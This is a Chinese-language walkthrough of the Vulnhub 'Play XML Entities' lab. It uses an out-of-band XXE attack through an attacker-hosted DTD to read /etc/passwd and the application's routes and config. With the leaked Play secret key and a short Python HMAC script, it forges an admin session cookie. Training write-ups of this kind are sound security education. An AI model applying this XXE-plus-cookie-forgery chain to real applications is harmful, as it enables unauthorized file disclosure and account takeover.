【Vulnhub】Play XML Entities

  • A+
所属分类:安全文章

【Vulnhub】Play XML Entities


给了一个 iso 文件,打开就是登录的状态,可以直接 ifconfig 去看 ip 地址


【Vulnhub】Play XML Entities


访问一下 ip


【Vulnhub】Play XML Entities


python3 -m http.server 8080

python 开一个临时的服务,在提交表单的时候改成 xml(Content-Type 要改成 text/xml)


【Vulnhub】Play XML Entities


虽然服务器上没有这个东西,但是它确实去访问了


接下来就要通过编辑这个 test.dtd 来获得一些东西


【Vulnhub】Play XML Entities


再去访问的时候就能拿到 /etc/passwd 的信息


【Vulnhub】Play XML Entities


root:x:0:0:root:/root:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/false
tc:x:1001:50:Linux User,,,:/home/tc:/bin/sh
pentesterlab:x:1000:50:Linux User,,,:/home/pentesterlab:/bin/sh
play:x:100:65534:Linux User,,,:/opt/play-2.1.3/xxe/:/bin/false
mysql:x:101:65534:Linux User,,,:/home/mysql:/bin/false


可以发现,play 用户的家目录是 /opt/play-2.1.3/xxe/

把 test.dtd 改一下


【Vulnhub】Play XML Entities


然后去访问得到:


.gitignore
.settings
app
conf
logs
Aproject
public
README
RUNNING_PID
target
test

再看一下 conf


application.conf
evolutions
routes


在访问 routes 时候


【Vulnhub】Play XML Entities


解码一下


/                       controllers.Application.index()
GET     /0ecf87346b9c0b370f8d63e6e7fed4f0            controllers.Application.secret_url()
GET       /login                 controllers.Application.login
POST      /login                 controllers.Application.login
GET       /logout                controllers.Application.logout
GET     /assets/*file            controllers.Assets.at(path="/public", file)                             


访问一下

/0ecf87346b9c0b370f8d63e6e7fed4f0


【Vulnhub】Play XML Entities


再去访问一下 application.conf


【Vulnhub】Play XML Entities


解码

application.secret="[email protected]=2p=][5F;uMNDm/QrDtVG0^iYHC3]Ov0t0E6b_amL16UynUbqS_?_eG"
application.langs="en"
db.default.driver=com.mysql.jdbc.Driver
db.default.url="mysql://pentesterlab:[email protected]/xxe"
ebean.default="models.*"
logger.root=ERROR
logger.play=INFO
logger.application=DEBUG                        

然后去看一下 framework/src/play/src/main/scala/play/api/mvc/Http.scala,并没有返回给我,我就直接在靶机里面看了


通过分析源码计算出 user=admin 应该用的 cookie


import hashlib
import hmac
key="[email protected]=2p=][5F;uMNDm/QrDtVG0^iYHC3]Ov0t0E6b_amL16UynUbqS_?_eG"
data="user=admin"
h=hmac.new(key,data,hashlib.sha1)
h.hexdigest()                     


【Vulnhub】Play XML Entities


然后 cookie 改成 

PLAY_SESSION="a5b8363ce748cfbb5d654edc3676d440173b33de-user=admin"


【Vulnhub】Play XML Entities


【Vulnhub】Play XML Entities


参考:

https://pentesterlab.com/exercises/play_xxe/course

http://www.beesfun.com/2017/04/21/play渗透框架XXE实体攻击/

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: